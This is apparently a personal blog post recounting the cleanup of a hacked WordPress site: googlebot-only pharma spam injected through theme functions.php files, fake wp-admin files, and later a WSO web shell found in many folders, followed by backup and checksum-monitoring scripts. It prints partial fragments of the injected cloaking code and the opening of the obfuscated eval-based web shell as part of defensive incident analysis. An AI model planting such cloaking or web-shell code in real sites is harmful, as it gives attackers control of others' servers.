Googlebot / caching / spam insertion issue | Later the WSO web shell by oRb backdoor

There was some sort of spam insertion compromise on the site for several months. It inserted non-malicious text, but only for the googlebot crawler.  The fix (rather brute force) was to delete all WP files and reinstall fresh, the WP database remained fine.

This goes back (according to older pages in google’s cache) at least a few months, to perhaps February 2013. My WP was running 3.5.1 (or maybe even olders?) at the time, and I updated to 3.5.2 last week (when i was still unaware of the problem). To fix:

  1. install fresh core files (do a wget to the html root) to fresh/empty directory (by default will be called wordpress upon unzipping).Rename folder to correct namecopy or fixup the wp-config.php file
  2. copy or fixup a .htacess (to allow permalinks to work)
  3. theme? I left the theme a generic twenty-twelve. (have since reinstalled my clean copy of “gear”)
  4. Install basic/necessary(?) plugins: (re)installed wp-dbmanager plugin (under options, the path to both mysqldump and mysql is /usr/bin/; this plugin isn’t supported anymore but backup and automated email still seems to work fine), stats (deprecated but still works to gather stats that i like to see). Akismet (pre-installed with W.P.) already /still had my id in there (which is good because i don’t know where it comes from), iframe-widget (this is the [dciframe] tag deal. I think there are newer ways to do it), wordfence (a security tool).
  5. copy the googlexxxxxxxxxxxxxxxx.html zero-byte file, so google “knows” who this is.

The spam itself was in the database backwards in the wp_options table; so just use phpmyadmin to find it by searching something  like

SELECT * FROM `wp_options` WHERE `option_value` LIKE ‘%argaiv%’;

I forget what mine was called but I’m sure it varies so just delete that row.

The Spam Itself (as google saw it)

The injected spam begins right after the  <body> tag and begins:

<div class=”blognano_w”>
<p>Without this situation it this leaves hardly any remaining –redacted– <a href=”http://–redacted–” title=”–redacted–“>–redacted–</a> credit and interest charge as that.Flexible and settling the same across military members or –redacted– vs –redacted– <a href=”http://–redacted–” title=”–redacted–“>-redacted–</a> anything or a verifiable income information.When the past will take up when looking to personally -redacted– …

interestingly, the class name is several things is sortof random. the spam itself changes, also.  Can use this ‘Spider Simulator Tool” to view the injected spam “live”; this was much easier than trying to use Google’s “fetch as google” tool — which i could never figure out. So this tool seems to work well, e.g. i have fed it to a (still) infected test site, wordprez, and it sees the injected text.

The Hack

I don’t know how it happened; but my surmise since it affected all three of my wordpress installations in the same way, and all three had different passwords I concluded it was not done by stealing my wordpress login — so it sort of indicates the (godaddy) server on which i am hosted was hacked/compromised, and that everybody on it had all wordpress installs hacked wholesale. See e.g. here and here for some similar sounding problems in the same general timeframe of early 2013. In those cases the spam was payday loans, rather than erectile dysfunction drugs, and the infected file was header.php rather than functions.php.

So, the general type of problem is referred to as a “Pharma Hack” whereby spam gets inserted, or more generally referred to as a “black-hat SEO” technique — since the target of the spam is the search engine crawler; i.e. in an attempt to trick search engines.

Anyway, i windiff’ed everything And found malware injected into one of the main files, my theme’s functions.php file — it was actually in ALL theme’s functions.php. Every theme has to have a functions.php file.  Here are the first few lines of the  mal code:

if (!function_exists(“b_call”)) {
function b_call() {
if (!ob_get_level()) ob_start(“b_goes”);
function b_goes($p) {
if (!defined(‘wp_m1’)) {
$f1 = explode(‘|’, ‘3639549952,8191.1123631104,8191.1089052672,8191.1078218752,2047.1078220802, 1229.1087381508,1444.3512041472,4095.1113980928,4095.1208926208,16383.1249705984,65535|via,Google WAP Proxy,Google CHTML Proxy|tumblrbot’);

I found references to “injected class” hack here and here. Also direct mention of my particular mal code snippet at

I also found two suspicious files (files that shouldn’t exist at all):

/wp-admin/options-locale.php and /wp-admin/includes/class-wp-option.php

The contents of both look similarly weird; they are obviously named to look like similar, authentic files, but those two do not exist in official distribution; they don’t have a comment block up top like “real” WP files;. Here are the first few lines (it goes on and on in a similar vein, in both those files; i can’t figure out how/why/what they’re trying to do), anyway, it doesn’t appear to be mal code, just stupid — they are not even valid php files, missing the <?php tag:

$clawing= ‘a’; $lagging =’)’;$infinitum =’]’; $brock= ‘P’;
$angelique=’]’; $intersection = ‘(‘;
$gourd = ‘c’; $chanticleers = ‘_nYiPV’; $apportionment=’S’; $boutique =’Baoi$u’;$indirect=’)’;
$dispatcher = ‘s’;
$casualty=’T;]’;$blaming=’8JT’; $buffer= ‘$’;
$betatron =’oba’;
$imperative=’a’;$intellects=’)’; $graspable =’b’;

These two filenames are mentioned here.

so now i have a little script to make “backups” of my wordpress files; the first copies only the uploaded content (which i rarely use), and the second everything else except i wanted to exclude my database backups:

tar -zcvf azbikelawblogUploads.tgz blog/wp-content/uploads
tar -zcvf azbikelawblog.tgz –exclude=’*.gz’ –exclude=’wp-content/uploads/*’ blog/

need to look into cron, and mailing it periodically. hmm.

note when installing fresh copy of wordpress and database. It only takes a few moments to install or reinstall wordpress…
1) when a wordpress install sees an empty database; it goes into install/setup mode. The easiest way (i’ve found) to empty a database is to use wp-dbmanger to drop each table, all at once.
2) when restoring a database from another location, say e.g. from /blog to /wordpress — simply use php admin to change two settings in wp_options table, siteurl and home to conform. IIRC, changing these settings via control paned doesn’t work for some reason?
3) don’t forget for permalinks to work, must have a .htaccess with rewrite turned on. (so make/preserve copies of .htaccess and also probably copy wp-config, which has the database settings).

WSO — Web Shell by oRb

12/12/2013 Yet another attack/hack? Wpfence discovered and sent me an email about a suspicious file ixwstat.php in the blog root and yes, it is very suspicious.  It is dated Jun 21 12:29, but the date is bogus. Its content is just one long (24Kbytes) eval that begins:

<?php eval(gzuncompress(base64_decode('eJzlvWt3GsfSKPzZe639H0YTko (24KBytes long!)

Used and it worked great to decode it to clear text. Note the eval is double encoded, sneaky!

up near top @define(‘WSO_VERSION’, ‘2.5’); indicates it uses WSO, Web Shell something “WSO (web shell by oRb) is a PHP shell backdoor that provide an interface for various remote operations. It can perform everything from remote code execution, bruteforcing of servers, provide server information, and more”. Ug. And it doesn’t seem to be related to wordpress; i also found it lurking in about 10 other places.

By looking through godaddy’s history function in the control panel file manager; it looks like the one that wordfence discovered, sure enough, just showed up yesterday. But some others go back to 11/27/2013. There was one in /, /blog, /personal, /personal/dave, /images, /carlaw, /css , /personal/coffee, /xc/images. Most were called ixwstat.php, but some were called dot.php and list.php. Several were identical, but some varied (by checking checksums). I would guess they varied by password, there’s a 128 encrypted password in the code.

I wanted to roll my whole site back to 11/26; but godaddy’s user-driven tool doesn’t really support doing that — it just works on a folder at a time :-) So I called them back and was told they can do it… but for a $150 charge. So I just muddled through, and in the process cleaned up the tree significantly… I put everything that didn’t matter into a folder /movedFromRoot. I found a little php snippet to scan for a string (and it decodes); it was here, but that was offline and i got it from google’s cache. I’ll keep it as findWSOinFiles.php

I have no idea where this all came from; it doesn’t seem to be a wordpress exploit (that i can tell), that would mean either my hosting account password got compromised or there was some larger-scale compromise of godaddy’s server.

I also had a folder called coockies in the root. In it were several files which exist elsewhere on the site but with the extension changed to .php instead of, e.g. .html. For example I have a file called legi.html and in this suspicious folder is a file named legihtml.php. Its content seems to be a bunch of random hexadecimal digits (a few kbytes worth) and it is NOT valid php code; in other words, it appears there no way this code (if that’s even what it is) can run ??

This also may or may not have to do with a hacked .htaccess file, which I also dicovered! It involves a file called common.php (which was in the root and loaded with obfuscated code). So I got rid of that file and got rid of the extra lines it injected into my .htaccess file.

As it seems like i have to look this up every damn time, here is an example of how to use the find command to find all .php file:

find ./html/ -name "*.php"

And here is a DEPRECATED script that uses find in conjunction with xargs to make a difference file that can be used to detect any changes in blog directory, the site’s .htaccess, and any .php files anywhere on the site:

set -e
# 'find' all files but exclude links and directories because they cause sha1sum to exit with an error
find html/blog/ ! -type l ! -type d  -print0 |xargs -r0 sha1sum >"$f".new
find html/ ! -type l ! -type d -name "*.php" -print0 |xargs -r0 sha1sum >>"$f".new
sha1sum ./html/.htaccess >>"$f".new
diff "$f".new "$f" || [ $? -eq 1 ]
mv "$f".new "$f"

Notes: the ! arguments to find prevent it from finding directories and/or links; which would cause sha1sum to exit with a non-zero and cause the script to fail. I ran this script via cron daily. the only trouble is cron began to return an error saying the argument list was too long so now i just run it in the blog directory.

Moving forward with better security, monitoring and backup practices — late 2013 and beyond…

I forget exactly what transpired but below is the job i run now; from the directory ABOVE the html one. The job name is and i have it running via cron (thru godaddy’s control panel) every 24 hours. The diff results get emailed to me by default… Been running well as of June 2014 for many months now:

set -e
find ./html/ -type f -exec sha1sum {} \; >"$f".new
diff "$f".new "$f" || [ $? -eq 1 ]
mv "$f".new "$f"

Shell script to backup the blog (use from same folder as above);

tar -zcvf azbikelawblogContent.tgz html/blog/wp-content/uploads
tar -zcvf azbikelawblogWordpress.tgz --exclude '*.gz' --exclude 'wp-content/uploads/*' html/blog/

Shell script to backup whole site, probably 3GBytes or so;

tar -zcvf azbikelawSite.tgz  --exclude '*.tiv' --exclude 'html/_db_backups/*' --exclude 'html/blog/wp-content/backup-db/*' html/